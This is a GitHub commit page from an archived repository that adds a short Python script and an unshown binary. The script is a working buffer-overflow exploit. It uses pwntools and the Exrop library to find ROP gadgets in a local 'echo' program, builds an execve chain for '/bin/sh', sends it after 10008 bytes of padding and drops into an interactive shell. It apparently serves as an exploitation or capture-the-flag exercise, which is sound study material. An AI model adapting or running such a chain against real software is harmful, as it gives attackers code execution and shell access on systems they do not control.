This repository has been archived by the owner on Nov 13, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 23
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
19 additions
and
0 deletions.
There are no files selected for viewing
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
from pwn import * | ||
import time | ||
from Exrop import Exrop | ||
|
||
binname = "echo" | ||
libc = ELF(binname, checksec=False) | ||
bss = libc.bss() | ||
|
||
t = time.mktime(time.gmtime()) | ||
rop = Exrop(binname) | ||
rop.find_gadgets(cache=True) # it's slow for first analyze keep waiting | ||
print("Analyzing done in {}s".format(time.mktime(time.gmtime()) - t)) | ||
chain = rop.syscall(0x3b, ("/bin/sh",0,0), bss) | ||
chain.dump() | ||
buf = b"A"*10008 | ||
pay = buf + chain.payload_str() | ||
p = process("./echo") | ||
p.sendline(pay) | ||
p.interactive() |